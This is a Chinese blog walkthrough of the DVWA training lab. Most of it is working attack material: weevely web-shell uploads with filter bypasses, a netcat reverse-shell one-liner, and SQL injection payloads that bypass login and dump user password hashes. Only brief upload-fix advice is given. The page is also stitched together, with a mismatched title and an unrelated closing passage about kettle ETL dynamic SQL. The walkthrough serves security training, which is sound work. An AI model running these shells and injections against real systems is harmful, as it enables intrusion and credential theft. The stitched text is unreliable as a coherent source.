kettle 查询数据库写入文件_DVWA(文件上传与SQL注入)

文件上传漏洞

ag:一网站存在文件上传漏洞,对上传的类型不进行分析,导致hack上传.php的文件,成功get shell。

low级别

1、root@kali:~# weevely generate 123456 /root/shell.php #使用weevely工具生成一个shell.php文件,密码为123456,并且保持到/root下。

2、把shell.php上传到网站,并且获取图片最终存放的路径

3、root@kali:~# weevely http://192.168.1.144/dvwa/hackable/uploads/shell.php 123456 #使用weevely连接到目标路径,并且输入密码,成功get shell

8e76857d0a99d80a5e46bbfb4b371983.png


medium级别

1、在中安全级别下,不是.jpg文件不允许上传,先把生成的shell.php文件改为shell.jpg,打开bp代理,上传shell.jpg,再按照下面把shell.jpg改为shell2.php进行上传。

3e3ea034b75e393fd63ca172d8f40e4a.png

2、再通过下面代码成功获取shell

 root@kali:~/weevely# weevely http://192.168.1.144/dvwa/hackable/uploads/shell2.php 123456[+] weevely 3.7.0[+] Target:192.168.1.144[+] Session:/root/.weevely/sessions/192.168.1.144/shell2_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> id[-][channel] The remote script execution triggers an error 500, check script and payload integrityuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@192.168.1.144:/var/www/dvwa/hackable/uploads $

high级别

1、在高安全级别下,不是.jpg文件不允许上传(包括bp修改后的后缀,不是.jpg也不允许上传),先把生成的shell.php文件改为shell.jpg,打开bp代理,上传外壳文件shell.jpg,再按照下面把shell.jpg改为shell2.php.jpg进行上传。

9aecb81f81596e4b36f77b28c13bbe66.png

2、通过下面代码成功getshell

 root@kali:~/weevely# weevely http://192.168.1.144/dvwa/hackable/uploads/shell.php.jpg 123456[+] weevely 3.7.0[+] Target:192.168.1.144[+] Session:/root/.weevely/sessions/192.168.1.144/shell.php_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> id[-][channel] The remote script execution triggers an error 500, check script and payload integrityuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@192.168.1.144:/var/www/dvwa/hackable/uploads $

文件上传漏洞修复建议

1、不允许用户上传可执行文件,包括(.php,.exe,.etc.....)

2、查看文件的类型是否符合要求,并且查看他的扩展名

3、不仅仅通过判断文件的后缀名来放行,更加要通过判断其真正是图像类型文件才放行


代码执行:

 ping 192.168.1.144;pwd          #执行ping命令和pwd命令ping 192.168.1.144 | pwd        #执行pwd命令nc -vv -l -p 8080               #监听8080端口,192.168.1.144;nc -e /bin/sh 192.168.1.144 8080

nc参数信息与基本用法:

nc基本格式:nc [-options] hostname port [ports] ... nc -l -p port [options] [hostname] [port]

-d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point, up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉--用于扫描时


SQL注入:

 select * from accounts where username = 'kobe' and password='123456' and 1=1 #'     #执行查询语句,用户名为kobe,密码为123456并且1=1,能成功登录。123456' and 1=1 #           #在密码框输入,'是闭合要求,与查询语句的'形成闭合select * from accounts where username = 'kobe' and password='123456' and 1=2 #'     #执行查询语句,用户名为kobe,密码为123456并且1=2,不能成功登录。123456' and 1=2 #           #在密码框输入select * from accounts where username = 'admin' and password='aaa' or 1=1 #'        #执行查询语句,用户名为admin,密码为aaa,或者1=1,意思是当其中一条件正确时,整个语句都正确,从而实现不用正确密码成功登录。aaa' or 1=1 #           #同样在密码框输入select * from accounts where username = 'admin'#' and password='aaa'                #执行语句,当用户名为admin时,注释后面的密码部分,即是密码可以随便取,也能正常登录。admin'#     #用户端输入

在登录界面处正常输入用户名和错误的密码,用BP对数据进行捕获,然后对捕获的数据进行修改,从而达到绕过密码登录。

92b0c864a2c19c28cc3dc923cc4ed84b.png

order by与union select:

 order by是mysql中对查询数据进行排序的方法, 使用示例select * from 表名 order by 列名(或者数字) asc;升序(默认升序)select * from 表名 order by 列名(或者数字) desc;降序这里的重点在于order by后既可以填列名或者是一个数字。举个例子:id是user表的第一列的列名,那么如果想根据id来排序,有两种写法select * from user order by id;selecr * from user order by 1;select * from accounts where username = 'admin' order by 1#' and password = '$PASSWORD'     #执行查询语句,查询表accounts里的第一列名,通过改变id‘1’的值,来确定有多少列,确定了之后进行联合查询,ag:确定表有5列,并且2,4,5这3个数字在页面输出,把要查询的信息代替这3个数字,如下union select 1,database(),3,user(),version()union select 1,table_name,3,null,null from information_schema.tables#查询默认数据库里的所有表名union select 1,table_name,3,null,null from information_schema.tables where table_schema = 'owsp10'#只查询数据库owsp10里的表名,如输出,accounts表等。union select 1,column_name,3,null,null from information_schema.columns where table_name = 'accounts'#执行查询默认库里表accounts的所有列名,如输出,username、password、cid等等。union select 1,username,3,password,cid from accounts#执行查询accounts列里的username和password等数据

DVWA(sql注入)

low级别

 当输入1=1和1=2的回显不一样时,证明存在布尔类型?id=1' and 1=1 --+&Submit=Submit#?id=1' and 1=2 --+&Submit=Submit#尝试用order by对表名进行排序,当order by为1时,页面能正常回显,说明存在一列或者多列表,再用其他数进行测试,得到的表的列数数量为2?id=1' order by 1 --+&Submit=Submit#?id=1' order by 2 --+&Submit=Submit#得到表的列数之后,用联合查询对列进行枚举,输出2列的内容?id=1' union select 1,2 --+&Submit=Submit#同样,可以用其他的查询语句对1,2进行替换,进而去查询我们需要的内容,如下查询默认数据库中所有的表名?id=1' union select table_name,2 from information_schema.tables  --+&Submit=Submit#下面进行的方法“order by与union select”的一样,?id=1' union select column_name,2 from information_schema.columns where table_name = 'users' --+&Submit=Submit#

medium级别

先判断是字符型注入还是数字型,通过报错信息可以知道报错没有包含1,证明【‘】前面都是正确的,说明是数字型注入,那我们后面就不需要【'】来闭合url。

f2dcd653aad926fc181b3c9e3c03f21e.png

用BP的Decoder模块对dvwa进行16进制的转换,不仅能转16进制,还能转url字符。0x是16进制的格式,然后把64767761添加到后面。

412f0bdd633701966c8d9b08fd638178.png

 查询数据库dvwa存在的所有表名?id=1 union select table_name,2 from information_schema.tables where table_schema = 'dvwa'  --+ &Submit=Submit#但是出现了以下的报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'  --' at line 1说明在中安全级别下,源代码对引号做了限制,所以我们想办法用什么东西去代替引号,又不影响查询,我想到了用BP把dvwa转为16进制再写入url,这就不会触发网页的引号警报。具体url如下:?id=1 union select table_name,2 from information_schema.tables where table_schema = 0x64767761  --+ &Submit=Submit#

成功获取来自dvwa数据库的表名

17e8fb451d6c8d521b1c199b90dc69b4.png

 得到用户的表名users之后,查询表里有多少条字段,并且输出?id=1 union select column_name,2 from information_schema.columns where table_name = 0x7573657273  --+ &Submit=Submit#

e8fa1755e603a4a082d9ea58526af3d5.png

对user表的密码和用户名进行查询,再用cmd5进行解密。
?id=1 union select password,user from users --+ &Submit=Submit#

4cc6b5ee21f39389d6402b289d6d95e3.png

7bb3c30abd2a02f6058e9550fb72c957.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kettle是一款常用的ETL工具,可以用于数据的清洗、转换和加载。在kettle中,可以使用Query组件来执行SQL查询操作,也可以使用Dynamic SQL功能来执行动态SQL查询。 使用Query组件执行SQL查询是比较简单直接的方式。我们可以将需要执行的SQL语句直接输入到Query组件的输入框中,然后执行该组件即可。Query组件会连接到指定的数据库,执行SQL语句,并将查询结果输出到下一个组件中进行处理或保存。 而使用Dynamic SQL功能执行动态SQL查询,更加灵活。动态SQL是指根据不同的条件或参数,在执行过程中生成不同的SQL语句。在kettle中,可以通过使用变量或字段的方式来实现动态SQL查询。我们可以在Transforamtion中定义变量,然后在Query组件中引用这些变量来构造动态SQL语句。这样,在每次执行转换时,根据变量的不同取值,就可以生成不同的SQL语句进行查询。 使用kettle执行dynamic_sql查询的步骤如下: 1. 首先,在Transformation中定义需要用到的变量,可以是固定值,也可以是由其他组件输出的字段值。 2. 在Query组件中,使用变量来定义SQL语句,如SELECT * FROM table WHERE column = ?,其中?表示变量的位置。 3. 在Query组件的输入字段面板中,将变量和输入字段进行绑定,确保变量能够获取到正确的值。 4. 运行Transformation,kettle会根据变量的取值生成动态SQL语句,并执行查询操作。 通过以上步骤,我们就可以在kettle中执行dynamic_sql查询,并根据不同条件生成不同的SQL语句进行查询操作。这样可以更加灵活地满足各种查询需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值